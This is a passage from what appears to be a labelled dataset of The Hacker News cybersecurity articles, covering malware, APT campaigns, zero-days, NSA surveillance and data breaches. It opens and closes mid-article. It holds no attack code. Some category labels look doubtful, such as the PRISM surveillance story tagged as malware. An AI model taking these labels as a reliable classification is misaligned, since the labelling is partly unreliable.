Flame was discovered back in May, following an investigation into a series of mysterious data loss incidents at Iran's Oil Ministry. Those attacks were carried out in April by the Israeli part of the operation without knowledge from the U.S. side.

Security researchers from Kaspersky Lab believe that Flame was created in the first half of 2008. Stuxnet was discovered in June 2010, but the first variant of the malware is believed to date from June 2009.

Spokesmen for the CIA, the NSA and the Office of the Director of National Intelligence, as well as the Israeli Embassy in Washington, declined to comment.

",Malware
Chinese APT Hackers Target Southeast Asian Government Institutions,https://thehackernews.com/2020/11/chinese-apt-hackers-target-southeast.html,"Cybersecurity researchers today unveiled a complex and targeted espionage attack on potential government sector victims in South East Asia that they believe was carried out by a sophisticated Chinese APT group at least since 2018.
""The attack has a complex and complete arsenal of droppers, backdoors and other tools involving Chinoxy backdoor, PcShare RAT and FunnyDream backdoor binaries, with forensic artefacts pointing towards a sophisticated Chinese actor,"" Bitdefender said in a new analysis shared with The Hacker News.
It's worth noting that the FunnyDream campaign has been previously linked to high-profile government entities in Malaysia, Taiwan, and the Philippines, with a majority of victims located in Vietnam.
According to the researchers, not only around 200 machines exhibited attack indicators associated with the campaign, evidence points to the fact the threat actor may have compromised domain controllers on the victim's network, allowing them to move laterally and potentially gain control of other systems.
The research has yielded little to no clues as to how the infection happened, although it's suspected that the attackers employed social engineering lures to trick unwitting users into opening malicious files.
Upon gaining an initial foothold, multiple tools were found to be deployed on the infected system, including the Chinoxy backdoor to gain persistence as well as a Chinese remote access Trojan (RAT) called PcShare, a modified variant of the same tool available on GitHub.
Besides using command-line utilities such as tasklist.exe, ipconfig.exe, systeminfo.exe, and netstat to gather system information, a number of others — ccf32, FilePak, FilePakMonitor, ScreenCap, Keyrecord, and TcpBridge — were installed to collect files, capture screenshots, logging keystrokes, and exfiltrate the collected information to an attacker-controlled server.
The investigation also uncovered the use of the aforementioned FunnyDream backdoor starting in May 2019, which comes with multiple capabilities to amass user data, clean traces of malware deployment, thwart detection and execute malicious commands, the results of which were transmitted back to command-and-control (C&C) servers situated in Hong Kong, China, South Korea, and Vietnam.
""Attributing APT style attacks to a particular group or country can be extremely difficult, mostly because forensic artefacts can sometimes be planted intentionally, C&C infrastructure can reside anywhere in the world, and the tools used can be repurposed from other APT groups,"" the researchers concluded.
""During this analysis, some forensic artifacts seem to suggest a Chinese-speaking APT group, as some of the resources found in several binaries had a language set to Chinese, and the Chinoxy backdoor used during the campaign is a Trojan known to have been used by Chinese-speaking threat actors.""

",Cyber_Attack
"Internet Explorer 6, 7 and 8 vulnerable to remote code execution",https://thehackernews.com/2012/12/internet-explorer-6-7-and-8-vulnerable.html,"Last Friday, we reported that the website of the U.S. Council of Foreign Relations was allegedly compromised by Chinese hackers who exploited the zero-day bug that was only discovered that same day. The CFR website was compromised with JavaScript that served malicious code to older IE browsers and the code then created a heap-spray attack using Adobe Flash Player.

Yesterday former hacker Bryce Case Jr (YTCracker) tweeted about a new zero day exploit threatening all users of IE8, ""internet explorer 6-8 0day making the rounds force them toolbar installs and keyloggers on exgf while you still can..."".

On Saturday, Microsoft published a security advisory warning users of Internet Explorer 6, 7, and 8 that they could be vulnerable to remote code execution hacks. The vulnerability is a remote code execution vulnerability that exists in the way that Internet Explorer accesses an object in memory that has been deleted or has not been properly allocated.

The vulnerability may corrupt memory in a way that could allow an attacker to execute arbitrary code in the context of the current user within Internet Explorer. An attacker could host a specially crafted website that is designed to exploit this vulnerability through Internet Explorer and then convince a user to view the website.

Meanwhile, the software giant will be shipping a software fix, available from its Fix It Solution Center, to protect systems before the patch is ready. Microsoft also has posted several mitigation options for users of Internet Explorer 8 or earlier to protect the Windows operating system from the exploit.

The best measure - of course, switch to Google Chrome and Mozilla Firefox.

",Vulnerability
"NSA's PRISM spy program, mining data from nine biggest Internet companies",https://thehackernews.com/2013/06/nsas-prism-spy-program-mining-data-from.html,"The National Security Agency, part of the U.S. military reportedly has a direct line into the systems of some of the world's biggest Web and tech companies, i.e Microsoft, Google, Facebook, Skype.

The NSA access is part of a previously undisclosed program called PRISM, 6-year-old program which allows officials to collect real-time information and as well as stored material including search history, the content of emails, file transfers and live chats, according to reports in the Washington Post.

Project PRISM may be the first of its kind and also GCHQ, Britain's equivalent of the NSA, also has been secretly gathering intelligence from the same internet companies through an operation set up by the NSA.
Later confirmed by the White House and members of Congress as saying that the government routinely seeks information in its fight to thwart domestic and international terrorism.

Other services that are reportedly part of PRISM include PalTalk, Skype, and AOL. Dropbox is listed in the presentation as ""coming soon.""

According to a separate ""User's Guide for PRISM Skype Collection,"" that service can be monitored for audio when one end of the call is a conventional telephone and for any combination of ""audio, video, chat, and file transfers"" when Skype users connect by computer alone.

Companies including Facebook, Apple and Google denied the company's alleged participation in PRISM. A spokesperson for Apple said ""We have never heard of PRISM. We do not provide any government agency with direct access to our servers, and any government agency requesting customer data must get a court order.""

Also chief security officer for Facebook said ""We do not provide any government organization with direct access to Facebook servers. When Facebook is asked for data or information about specific individuals, we carefully scrutinize any such request for compliance with all applicable laws, and provide information only to the extent required by law.""

The report came on the same day that another newspaper Guardian, revealed that the U.S. government is collecting telephone records of millions of Americans as part of U.S. counterterrorism efforts via Verizon communications.

""Verizon continually takes steps to safeguard its customers' privacy. Nevertheless, the law authorizes the federal courts to order a company to provide information in certain circumstances, and if Verizon were to receive such an order, we would be required to comply,"" Randy Milch, Verizon's general counsel, said in a letter to employees.

Though there is no specific guarantee to privacy under the U.S. Constitution, the fourth amendment is often cited as guaranteeing protection to American citizens against unlawful search and seizure.

UPDATE : President Obama says, ""When it comes to telephone calls, nobody is listening to your telephone calls. That is not what this program is about. As was indicated, what the intelligence community is doing is, looking at those numbers, and durations of calls. They are not looking at people's names and they're not looking at content. But, by sifting through this so-called metadata they may identify potential leads with respect to folks who might engage in terrorism.""

Google Co-Founder Larry Page:

Dear Google users—

You may be aware of press reports alleging that Internet companies have joined a secret U.S. government program called PRISM to give the National Security Agency direct access to our servers. As Google's CEO and Chief Legal Officer, we wanted you to have the facts.

First, we have not joined any program that would give the U.S. government—or any other government—direct access to our servers. Indeed, the U.S. government does not have direct access or a ""back door"" to the information stored in our data centers. We had not heard of a program called PRISM until yesterday.

Second, we provide user data to governments only in accordance with the law. Our legal team reviews each and every request, and frequently pushes back when requests are overly broad or don't follow the correct process. Press reports that suggest that Google is providing open-ended access to our users' data are false, period. Until this week's reports, we had never heard of the broad type of order that Verizon received—an order that appears to have required them to hand over millions of users' call records. We were very surprised to learn that such broad orders exist. Any suggestion that Google is disclosing information about our users' Internet activity on such a scale is completely false.

Finally, this episode confirms what we have long believed—there needs to be a more transparent approach. Google has worked hard, within the confines of the current laws, to be open about the data requests we receive. We post this information on our Transparency Report whenever possible. We were the first company to do this. And, of course, we understand that the U.S. and other governments need to take action to protect their citizens' safety—including sometimes by using surveillance. But the level of secrecy around the current legal procedures undermines the freedoms we all cherish.

Posted by Larry Page, CEO and David Drummond, Chief Legal Officer
Source


Facebook Founder also posted about PRISM on his facebook wall:

MUST READ :
Edward Snowden, whistleblower behind the NSA surveillance Program leak

",Malware
Firing Range — Open Source Web App Vulnerability Scanning Tool From Google,https://thehackernews.com/2014/11/firing-range-open-source-web-app_20.html,"Google on Tuesday launched a Security testing tool ""Firing Range"", which aimed at improving the efficiency of automated Web application security scanners by evaluating them with a wide range of cross-site scripting (XSS) and a few other web vulnerabilities seen in the wild.

Firing Range basically provides a synthetic testing environment mostly for cross-site scripting (XSS) vulnerabilities that are seen most frequently in web apps. According to Google security engineer Claudio Criscione, 70 percent of the bugs in Google's Vulnerability Reward Program are cross-site scripting flaws.

In addition to XSS vulnerabilities, the new web app scanner also scans for other types of vulnerabilities including reverse clickjacking, Flash injection, mixed content, and cross-origin resource sharing vulnerabilities.

Firing Range was developed by Google with the help of security researchers at Politecnico di Milano in an effort to build a test ground for automated scanners. The company has used Firing Range itself ""both as a continuous testing aid and as a driver for our development, defining as many bug types as possible, including some that we cannot detect (yet!).""

What makes it different from other vulnerable test applications available is its ability to use automation, which makes it more productive. Instead of focusing on creating realistic-looking testbeds for human testers, Firing Range relies on automation based on a collection of unique bug patterns drawn from in-the-wild vulnerabilities observed by Google.

Firing Range is a Java application that has been built on Google App Engine. It includes patterns for the scanner to focus on DOM-based, redirected, reflected, tag-based, escaped and remote inclusion bugs.

At the Google Testing Automation Conference (GTAC) last year, Criscione said that detecting XSS vulnerabilities by hand ""at Google scale"" is like drinking the ocean. Going through the information manually is both exhausting and counter-productive for the researcher, so here Firing Range comes into play that would essentially exploit the bug and detect the results of that exploitation.
""Our testbed doesn't try to emulate a real application, nor exercise the crawling capabilities of a scanner: it's a collection of unique bug patterns drawn from vulnerabilities that we have seen in the wild, aimed at verifying the detection capabilities of security tools,"" Criscione explained on the Google Online Security Blog.
Firing Range tool has been developed by the search engine giant while working on ""Inquisition"", an internal web application security scanning tool built entirely on Google Chrome and Cloud Platform technologies, with support for the latest HTML5 features and has a low false positive rate.

A deployed version (public-firing-range.appspot.com) of Firing Range is available on Google App Engine and since the tool is open source you can also find and check out the Source code on GitHub. Users are encouraged to contribute to the tool with any feedback.

",Vulnerability
"Warning: ""A new message from Skype Voicemail Service"" spam leads to Zeus Malware",https://thehackernews.com/2013/11/warning-new-message-from-skype.html,"Skype has been targeted by cyber criminals again this week. Users are receiving a new Spam Email with subject ""You received a new message from the Skype voice mail service."", that actually leads to Zeus Malware.
Zeus is a Trojan horse that attempts to steal confidential information from the compromised computer. It specifically targets system information, online credentials, and banking details, but can be customized through the toolkit to gather any sort of information.

The email is sent from the spoofed address ""Skype Communications"" and seems to be genuine, it has similar body content and the official Skype logo that usually comes with a legitimate Skype voice mail alerts.
""This is an automated email, please don't reply. Voice Message Notification. You received a new message from the Skype voice mail service."" the email reads. The fraudsters have also tried to make the emails look genuine by adding real links back to the Skype website.

According to MX Lab, the attached file (151 kB) is a variant of the Zeus Trojan:
i.e. Skype_Voice_M_497564___random_numbers___872345.wav.exe
If you receive one of these emails, delete it and don't download.

",Malware
Disable TELNET! Cisco finds 0-Day in CIA Dump affecting over 300 Network Switch Models,https://thehackernews.com/2017/03/cisco-network-switch-exploit.html,"Cisco is warning of a new critical zero-day IOS / IOS XE vulnerability that affects more than 300 of its switch models.

The company identified this highest level of vulnerability in its product while analyzing ""Vault 7"" — a roughly 8,761 documents and files leaked by Wikileaks last week, claiming to detail hacking tools and tactics of the Central Intelligence Agency (CIA).

The vulnerability resides in the Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software.

If exploited, the flaw (CVE-2017-3881) could allow an unauthenticated, remote attacker to cause a reboot of an affected device or remotely execute malicious code on the device with elevated privileges to take full control of the device, Cisco says in its advisory.

The CMP protocol has been designed to pass around information about switch clusters between cluster members using Telnet or SSH.

The vulnerability is in the default configuration of affected Cisco devices, even if the user doesn't configure any cluster configuration commands. The flaw can be exploited during Telnet session negotiation over either IPv4 or IPv6.

According to the Cisco researchers, this bug occurs in Telnet connections within the CMP, due to two factors:

The protocol doesn't restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members; instead, it accepts and processes commands over any Telnet connection to an affected device.
The incorrect processing of malformed CMP-specific Telnet options.

So, in order to exploit this vulnerability, an attacker can send ""malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections,"" researchers say.

This exploitation could allow the attacker to remotely execute malicious code and obtain full control of the affected device or cause a reload of the affected device.

Disable Telnet On Vulnerable Models — Patch is not Available Yet!

The vulnerability affects 264 Catalyst switches, 51 industrial Ethernet switches, and 3 other devices, which includes Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2/3 EtherSwitch Service Module, Enhanced Layer 2 EtherSwitch Service Module, ME 4924-10GE switch, IE Industrial Ethernet switches, RF Gateway 10, SM-X Layer 2/3 EtherSwitch Service Module, and Gigabit Ethernet Switch Module (CGESM) for HP. (check complete list here)

Currently, this vulnerability is unpatched, and until patches are available, Cisco recommends its users to disable the Telnet connection to the switch devices in favor of SSH.

The company's advisory doesn't talk about any working exploit using this flaw, but if there's one, tens of thousands, if not hundreds of thousands, of devices installed around the world look to have been at great risk for an unknown period — Thanks to the CIA for holding the flaw.

Cisco will update its IOS Software Checker tool immediately as soon as the patches come out.

",Vulnerability
North Korea Exploited VPN Flaw to Hack South's Nuclear Research Institute,https://thehackernews.com/2021/06/north-korea-exploited-vpn-flaw-to-hack.html,"South Korea's state-run Korea Atomic Energy Research Institute (KAERI) on Friday disclosed that its internal network was infiltrated by suspected attackers operating out of its northern counterpart.
The intrusion is said to have taken place on May 14 through a vulnerability in an unnamed virtual private network (VPN) vendor and involved a total of 13 IP addresses, one of which — ""27.102.114[.]89"" — has been previously linked to a state-sponsored threat actor dubbed Kimsuky.
KAERI, established in 1959 and situated in the city of Daejeon, is a government-funded research institute that designs and develops nuclear technologies related to reactors, fuel rods, radiation fusion, and nuclear safety.
Following the intrusion, the think tank said it took steps to block the attacker's IP addresses in question and applied necessary security patches to the vulnerable VPN solution. ""Currently, the Atomic Energy Research Institute is investigating the subject of the hacking and the amount of damage,"" the entity said in a statement.
The development comes following a report from SISA Journal, which disclosed the breach, alleging that the agency was attempting to cover up the hack by denying such an incident took place. KAERI attributed it to a ""mistake in the response of the working-level staff.""
Active since 2012, Kimsuky (aka Velvet Chollima, Black Banshee, or Thallium) is a North Korean threat actor known for its cyber espionage campaigns targeting think tanks and nuclear power operators in South Korea.
Earlier this month, cybersecurity firm Malwarebytes disclosed a wave of attacks undertaken by the adversary to strike high-profile government officials in the country by installing an Android and Windows backdoor called AppleSeed for amassing valuable information.
The targeted entities involved the Ministry of Foreign Affairs, Ambassador of the Embassy of Sri Lanka to the State, International Atomic Energy Agency (IAEA) Nuclear Security Officer, and the Deputy Consul General at Korean Consulate General in Hong Kong, with the aforementioned IP address used for command-and-control (C2) communications.
It is not immediately clear what VPN vulnerability was exploited to breach the network. But it's worth noting that unpatched VPN systems from Pulse Secure, SonicWall, Fortinet FortiOS, and Citrix have been subjected to attacks by multiple threat actors in recent years.

",Malware
Project TURBINE: NSA spreads sophisticated Malware Worldwide,https://thehackernews.com/2014/03/NSA-TURBINE-Snowden-Malware-Spyware-Facebook.html,"Besides collecting metadata and inserting backdoor to the devices and softwares, the US National Security Agency (NSA) has an eye on each post, picture, message you have ever sent on Facebook. I know you won't be feeling free considering your privacy, but, this is what the NSA is doing to you.

The new revelation from the Glenn Greenwald's desk remove the mask from one more secret surveillance operation carried out by the US intelligence agency NSA, the extensive program dubbed as 'TURBINE', according to the classified files provided previously by NSA whistleblower Edward Snowden.

Yes, the NSA, who has been working with its dedicated hacking unit, Tailored Access Operations (TAO) from the past several years on enlarging its caliber to infect devices with spyware and creating its own command-and-control servers to manage millions of infected systems at a time.

The secret documents presented by The Intercept website shows that the NSA with its British counterpart GCHQ are spreading a surveillance malware on computers and networking devices, ""implants"" that is capable to spam out millions of pieces of sophisticated malware at a time, that has been successively deployed over 50,000 Computer Network Exploitation (CNE) around the world and their number was expected to reach 85,000 by the end of 2013.

CHALLENGE FOR NSA - One presentation from 2009, marked top secret explained that the agency was dealing with a great challenge for an active SIGINT/attack is 'scale', and infecting a huge number of machines and casting a wide net for data collection, the Human drivers limit the ability for large-scale exploitation, because humans tend to operate within their own environment, not taking into account the bigger picture.

PROJECT TURBINE, THE NSA's SOLUTION - ""Top-secret documents reveal that the National Security Agency is dramatically expanding its ability to covertly hack into computers on a mass scale by using automated systems that reduce the level of human oversight in the process,"" wrote the journalist.

So, Rather than limit such actions to human operatives, an automated system that was capable of managing malware implants is codenamed TURBINE in the revealed document, which was designed to allow the current implant network to scale to large size, i.e., millions of implants, this would be possible by creating a system that does automated control implants by groups instead of individual.

NSA TARGETED FACEBOOK - The NSA allegedly used a 'man-on-the-side' attack to target and infect millions of computers. The NSA also used ""man-in-the-middle"" attack to spread the malware, rather than relying on old tactics like Spamming links via emails.

The agency disguises itself as a fake Facebook server and trick unsuspecting users to log in thinking they were connecting to real Facebook's server. So that the NSA could hack into users' systems and covertly stole out data from its hard drive.

""In some cases the NSA has masqueraded as a fake Facebook server, using the social media site as a launching pad to infect a target's computer and exfiltrate files from a hard drive. In others, it has sent out spam emails laced with the malware, which can be tailored to covertly record audio from a computer's microphone and take snapshots with its webcam. The hacking systems have also enabled the NSA to launch cyber attacks by corrupting and disrupting file downloads, or denying access to websites.""

MALWARE PLUGIN: NSA has also developed multiple plug-ins or add-ons for their malware:
UNITEDRAKE - capable to gain complete control of an infected computer.
CAPTIVATEDAUDIENCE- can hack computer's microphone to record conversations taking place near the device.
GUMFISH - can covertly take over a computer's web cam and snap photographs.
FOGGYBOTTOM - records logs of Internet browsing histories and collects login details and passwords used to access websites and email accounts.
GROK - a Keylogger Trojan, that logs keystrokes.
SALVAGERABBIT - to access data on removable flash drives that connect to an infected computer.
""It is unclear how many of the implants are being deployed on an annual basis or which variants of them are currently active in computer systems across the world."" Glenn Greenwald said.

I HUNT SYS ADMINS, NOT TERRORISTS: According to the documents, an internal post titled as ""I hunt sys admins"", makes it very clear that, terrorists are not the primary target of the NSA and this could be in the context of the attacks such as - Belgacom hacks, where GCHQ (Government Communications Headquarters) duped those Belgian based telecoms workers with bogus LinkedIn pages that infected their computers.

For much more technical detail, check out Greenwald's full report at First Look's The Intercept.

",Malware
Dropbox Hacked — More Than 68 Million Account Details Leaked Online,https://thehackernews.com/2016/08/dropbox-data-breach.html,"Hackers have obtained credentials for more than 68 Million accounts for online cloud storage platform Dropbox from a known 2012 data breach.

Dropbox has confirmed the breach and already notified its customers of a potential forced password resets, though the initial announcement failed to specify the exact number of affected users.

However, in a selection of files obtained through sources in the database trading community and breach notification service Leakbase, Motherboard found around 5GB of files containing details on 68,680,741 accounts, which includes email addresses and hashed (and salted) passwords for Dropbox users.

An unnamed Dropbox employee verified the legitimacy of the data.

Out of 68 Million, almost 32 Million passwords are secured using the strong hashing function ""BCrypt,"" making difficult for hackers to obtain users' actual passwords, while the rest of the passwords are hashed with the SHA-1 hashing algorithm.

These password hashes also believed to have used a Salt – a random string added to the hashing process to further strengthen passwords in order to make it more difficult for hackers to crack them.
""We've confirmed that the proactive password reset we completed last week covered all potentially impacted users,"" said Patrick Heim, Head of Trust and Security for Dropbox.
""We initiated this reset as a precautionary measure so that the old passwords from prior to mid-2012 can't be used to improperly access Dropbox accounts. We still encourage users to reset passwords on other services if they suspect they may have reused their Dropbox password.""
Dropbox initially disclosed the data breach in 2012, notifying users that one of its employee passwords was acquired and used to access a file with users' email addresses, but the company didn't disclose that the hackers were able to pilfer passwords too.

But earlier this week, Dropbox sent out emails alerting its users that a large chunk of its users' credentials was obtained in 2012 data breach that may soon be seen on the Dark Web marketplace, prompting them to change their password if they hadn't changed since mid-2012.
""Our security teams are always watching out for new threats to our users. As part of these ongoing efforts, we learned about an old set of Dropbox user credentials (email addresses plus hashed and salted passwords) that we believe were obtained in 2012,"" the company wrote. ""Our analysis suggests that the credentials relate to an incident we disclosed around that time.""
Dropbox is the latest to join the list of ""Mega-Breaches,"" that revealed this summer, when hundreds of Millions of online credentials from years-old data breaches on popular social network sites, including LinkedIn, MySpace, VK.com and Tumblr, were sold on Dark Web.

The takeaway:

Change your passwords for Dropbox as well as other online accounts immediately, especially if you use the same password for multiple websites.

Also use a good password manager to create complex passwords for different sites as well as remember them. We have listed some best password managers that could help you understand the importance of password manager and choose one according to your requirement.

",Data_Breaches
Flaws in Two Popular WordPress Plugins Affect Over 7 Million Websites,https://thehackernews.com/2021/03/flaws-in-two-popular-wordpress-plugins.html,"Researchers have disclosed vulnerabilities in multiple WordPress plugins that, if successfully exploited, could allow an attacker to run arbitrary code and take over a website in certain scenarios.
The flaws were uncovered in Elementor, a website builder plugin used on more than seven million sites, and WP Super Cache, a tool used to serve cached pages of a WordPress site.
According to Wordfence, which discovered the security weaknesses in Elementor, the bug concerns a set of stored cross-site scripting (XSS) vulnerabilities (CVSS score: 6.4), which occurs when a malicious script is injected directly into a vulnerable web application.
In this case, due to a lack of validation of the HTML tags on the server-side, a bad actor can exploit the issues to add executable JavaScript to a post or page via a crafted request.
""Since posts created by contributors are typically reviewed by editors or administrators before publishing, any JavaScript added to one of these posts would be executed in the reviewer's browser,"" Wordfence said in a technical write-up. ""If an administrator reviewed a post containing malicious JavaScript, their authenticated session with high-level privileges could be used to create a new malicious administrator, or to add a backdoor to the site. An attack on this vulnerability could lead to site takeover.""
Multiple HTML elements such as Heading, Column, Accordion, Icon Box, and Image Box were found vulnerable to the stored XSS attack, thereby making it possible for any user to access the Elementor editor and add an executable JavaScript.
Given that the flaws take advantage of the fact that dynamic data entered in a template could be leveraged to include malicious scripts intended to launch XSS attacks, such behavior can be thwarted by validating the input and escaping the output data so that the HTML tags passed as inputs are rendered harmless.
Separately, an authenticated remote code execution (RCE) vulnerability was discovered in WP Super Cache that could allow an adversary to upload and execute malicious code with the goal of gaining control of the site. The plugin is reported to be used on more than two million WordPress sites.
Following responsible disclosure on February 23, Elementor fixed the issues in version 3.1.4 released on March 8 by hardening ""allowed options in the editor to enforce better security policies."" Likewise, Automattic, the developer behind WP Super Cache, said it addressed the ""authenticated RCE in the settings page"" in version 1.7.2.
It's highly recommended that users of the plugins update to the latest versions to mitigate the risk associated with the flaws.

",Vulnerability
Warning! Think Twice Before Using USB Drives,https://thehackernews.com/2016/03/usb-drive-malware.html,"Security researchers have discovered a new data-stealing Trojan that makes special use of USB devices in order to spread itself and does not leave any trace of activity on the compromised systems.

Dubbed USB Thief ( or Win32/PSW.Stealer.NAI), the malware has the capability of stealthy attacking against air-gapped or isolated computers, warns ESET security firm.

The malware author has employed special programs to protect the USB Thief from being reproduced or copied, making it even harder to detect and reverse-engineer.

USB Thief has been designed for targeted attacks on computer systems that are isolated from the Internet, according to the ESET malware analyst Tomáš Gardoň.

The 'USB Thief' Trojan Malware

The USB Thief Trojan malware is stored either as a portable application's plugin source or as a Dynamically Linked Library (DLL) used by the portable application.

Since USB devices often store popular applications like Firefox, Notepad++ or TrueCrypt portable, once any of these applications is executed, the malware starts running in the background.

USB Thief is capable of stealing data from air-gapped systems – systems that are isolated from the Internet and other external networks.
""Well, taking into account that organizations isolate some of their systems for a good reason,"" explained Peter Stancik, the security evangelist at ESET. ""Any tool capable of attacking these so called air-gapped systems must be regarded as dangerous.""
The malware runs from a USB removable device, so it don't leave any traces of its activities, and thus, victims do not even notice that their data had been stolen.

Since the malware is bound to a single USB device, it prevents USB Thief from leaking from the infected computers.

Besides this, USB Thief utilizes a sophisticated implementation of multi-staged encryption that makes the malware harder to detect and analyse.
""This is not a very common way to trick users, but very dangerous,"" Stancik said. ""People should understand the risks associated with USB storage devices obtained from sources that may not be trustworthy.""
Here's How you can Protect from being Infected:
Do not use USB storage devices from non-trustworthy sources.
Turn off Autorun
Regularly backup your data
More technical details are available on ESET Ireland's official blog.

",Malware
Vulnerable Texas Transportation Site 'TxTag' leaves 1.2 Million Credit Cards at Risk,https://thehackernews.com/2014/04/vulnerable-texas-transportation-site.html,"Do you know, Why another major company is getting hacked every week? Because of poor policies, Laziness to Incident Response and lack in will-power to put efforts on applying important patches.

Some companies are not taking their security more seriously, and best suitable example for this is TxTag, an electronic toll collection systems in Texas operated by Texas Department of Transportation (TxDOT).

1.2 MILLION CREDIT CARD ARE AT RISK
Security researcher, David Longenecker claimed a serious flaw at TxTag website that exposes the active Credit Card Details and Personal Information of 1.2 Million Drivers including active TxTags (vehicle stickers with microchips, which are scanned by electronic readers on toll roads), Names, phone numbers, full residence addresses, email addresses, along with their complete Credit card numbers and Expiration date.

According to David, the account names could be easily predictable by anyone, which is typically an 8-digit number that begins with the number 2 and protected by only a 4-digit PIN Number, that could be itself another easy x-factor to abuse.
But their stupidity didn't end here, to make the case worst for their users; TxTag.org inexplicably stores the entire credit card details including Credit Card Numbers and expiration date, which meant to be partial visible to users, but available in the plaintext as the value of input field on the page source code.
""I have no indication credit cards have actually been stolen. I merely found and reported a flaw that could very easily be exploited to obtain this information."" he said.

NO LESSONS LEARNED FROM PREVIOUS CYBER ATTACK
Texas Department of Transportation had not learned any lesson from their past experiences with hackers. Exactly two years back, they themselves confirmed a ""cyber attack"" in which the hackers overloaded the TxTag back office accounts servers, but according to TxTag, no accounts were compromised at the time.

In the reply back in 2012, Karen Amacker, TxDOT spokesman said, ""Customer service and information security are of paramount importance to TxDOT. Cyberattackers recently tried to get into TxTag.org, but were not successful. All of our customers' information, including credit card information, remains secure.""

But this security and so called paramount importance is seems to be a dilemma for them as they did nothing to improve the data security of their users after facing an attack.

FLAW REPORTED, BUT YET NO RESPONSE
The Flaw has been reported by the researcher, but neither TxTag nor TxDOT have so far responded to any of his request for comment.

""The problem lies in the AutoPay Method screen. If you do not have a credit card or bank account stored for automatic payments, then financial data cannot be stolen through this manner."" david said.

We should understand that no one is safe when bad hackers are out to do some damage. You are always advised to don't be lazy with your passwords, set tough-to-guess and long passwords and don't store information online that you don't absolutely need to. Stay Tuned, Stay Safe.

",Vulnerability
Android Trojan GingerMaster Uses Gingerbread Root Exploit,https://thehackernews.com/2011/08/android-trojan-gingermaster-uses.html,"Android Trojan GingerMaster Uses Gingerbread Root Exploit
As our smartphones become more ubiquitous and more powerful, they need to be protected in much the same way that you would protect your computer. Further to this, a malicious piece of malware has been discovered for devices powered by Android 2.3.3 Gingerbread, giving the hacker the ability to take complete control of the smartphone remotely. According to Assistant Professor Xuxian Jiang from the NCSU Department of Computer Science, the new threat, which his team has dubbed GingerMaster, is the first malware to use the root exploit for Android 2.3. ""As this is the first time such malware has been identified, it is not surprising when our experiments show that it can successfully evade the detection of all tested (leading) mobile anti-virus software,"" he writes.

Once the GingerMaster malware is installed and has root privileges, it then reaches out to a remote command-and-control server and asks for instructions. It then has the ability to download and install apps on its own, without the user's permission, Jiang found. GingerMaster is an evolution of the existing DroidKungFu malware, which had some of the same functionality. Earlier this week, Jiang's team also found other variants of DroidKungFu in several dozen infected apps in alternate Android app stores. That version included a couple of root exploits as well, but for earlier versions of Android.

As far as we can tell, no ""official"" applications being offered through Android Market have been affected by GingerMaster, but it's best to err on the side of caution when it comes to these things. Recognize that your Android smartphone is very much a computer and, as such, is just as vulnerable to attacks as your home PC. The researchers recommend that users take several steps to protect themselves. The first one is to run a mobile antivirus product. There are several free solutions available from vendors like Lookout, AVG, BitDefender or Symantec.Then, users should only download apps from trusted marketplaces, like the official Android Market. Unfortunately, there is no assurances that malware won't slip through the cracks and appear on these services from time to time, but the chances are lower than in other places.Finally, users should make a habit from reading and understanding the permissions requested by apps on installation. Trojanized apps will usually require permissions that legit versions wouldn't need.

",Vulnerability
Forbes.com Vulnerable to XSS injection,https://thehackernews.com/2011/08/forbescom-vulnerable-to-xss-injection.html,"Forbes.com Vulnerable to XSS injection


One of the Leading News Company Forbes is Vulnerable. Hacker with name ""B1uB3rry"" expose that Forbes.com is vulnerable to possible SQL injection but confirmed to be vulnerable to Cross Site Script Injection (XSS) & HTML Injection. According to hacker ""One can easily deface the website as other vulnerabilities exist."" Live Example of XSS injection on Forbes . Hacker is Admin of B1uB3rry Security Team (San Antonio, TX).


Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications that enables attackers to inject client-side script into web pages viewed by other users.


UPDATE:
Another XSS on Subdomain of Forbes. This Vulnerability also exposed by a hacker on Twitter.

",Vulnerability
Two TalkTalk hackers jailed for 2015 data breach that cost it £77 million,https://thehackernews.com/2018/11/talktalk-data-breach.html,"Two hackers have been sent to prison for their roles in hacking TalkTalk, one of the biggest UK-based telecommunications company, in 2015 and stealing personal information, banking, and credit card details belonging to more than 156,000 customers.

Matthew Hanley, 23, and Connor Allsopp, 21, both from Tamworth in Staffordshire, were sentenced Monday to 12 months and 8 months in prison, respectively, after they admitted charges relating to the massive breach that cost TalkTalk £77 million in losses.

The total cost also included the massive £400,000 fine imposed by the Information Commissioner's Office (ICO) on TalkTalk for failings to implement the most basic security measures in order to prevent the hack from happening.

At the Old Bailey, the judge Anuja Dhir described Hanley as a ""dedicated hacker"" and sentenced him to 12 months in prison; whereas, Allsopp gets 8-months prison for his lesser role in the cyber attack.

The Judge also said that it was a tragedy to find ""two individuals of such extraordinary talent,"" Daily Mail reported.
""Given the scale of the attack, the number of people whose confidential information was stolen and then passed on to others, I'm sure that your actions caused misery and distress to many thousands of the customers of TalkTalk,"" Dhir added.
Hanley broke into the company's website between October 16 and 21 in 2015 and stole personal and banking details of 156,959 customers. He then passed the stolen information on to his friend Allsopp, who later sold the data to another online user for fraud.

The stolen information included customers' full names, postal addresses, dates of birth, telephone numbers, email addresses, and TalkTalk accounts information, and in almost 16,000 cases, the attackers also accessed financial information.

Another hacker, Daniel Kelley, 21, was arrested, charged and pledged guilty in 2016, for obtaining the stolen data of TalkTalk customers and blackmailing the company's then-CEO, Dido Harding, in an attempt to extort 465 Bitcoins.

""Your actions, the actions of others, resulted in the then-CEO of TalkTalk being subjected to repeated attempts to blackmail her for money. You were not personally involved in making those attempts, but your actions helped facilitate it,"" Judge Dhir told Hanley and Allsopp.

In the weeks following the TalkTalk breach, several teenagers, including a 15-year-old boy from Northern Ireland, a 16-year-old boy from west London, and another 16-year-old from London, were arrested for their alleged role in hacking and blackmailing the telecom company.

",Cyber_Attack
"Indian shopping website Groupon leaks Email/Passwords of 300,000 Users",https://thehackernews.com/2011/06/indian-shopping-website-groupon-leaks.html,"Indian shopping website Groupon leaks Email/Passwords of 300,000 Users
Groupon subsidary – Sosata.com leak the e-mail addresses and plain-text passwords for 300,000 users and also the sql file is index on Google.

SoSasta.com offers its services in 11 cities - Kolkata, Hyderabad, Pune, Ahmedabad, Delhi/NCR, Chandigarh, Jaipur, Nagpur, Mumbai, Chennai and Bengaluru - and has mailed customers stating that they were made aware of a security breach.

The email sent to the customers says:

